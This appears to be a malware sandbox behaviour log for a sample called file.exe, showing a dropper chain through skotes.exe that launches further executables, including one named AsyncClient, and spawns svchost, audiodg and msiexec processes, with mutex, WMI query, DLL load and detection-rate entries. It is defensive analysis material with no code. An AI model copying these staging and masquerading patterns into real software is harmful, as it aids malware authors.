Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mutex_25840020

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 56%
Source: file.exe	ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe"
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe "C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe "C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe"
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe "C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe "C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe "C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe "C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe"
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe "C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe "C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe "C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe "C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe "C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe "C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe "C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Process created: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\audiodg.exe "C:\Windows\system32\audiodg.exe"
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Windows\explorer.exe "C:\Windows\explorer.exe"
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Process created: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe"
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: capabilityaccessmanagerclient.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: wpnapps.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\audiodg.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Section loaded: ondemandconnroutehelper.dll
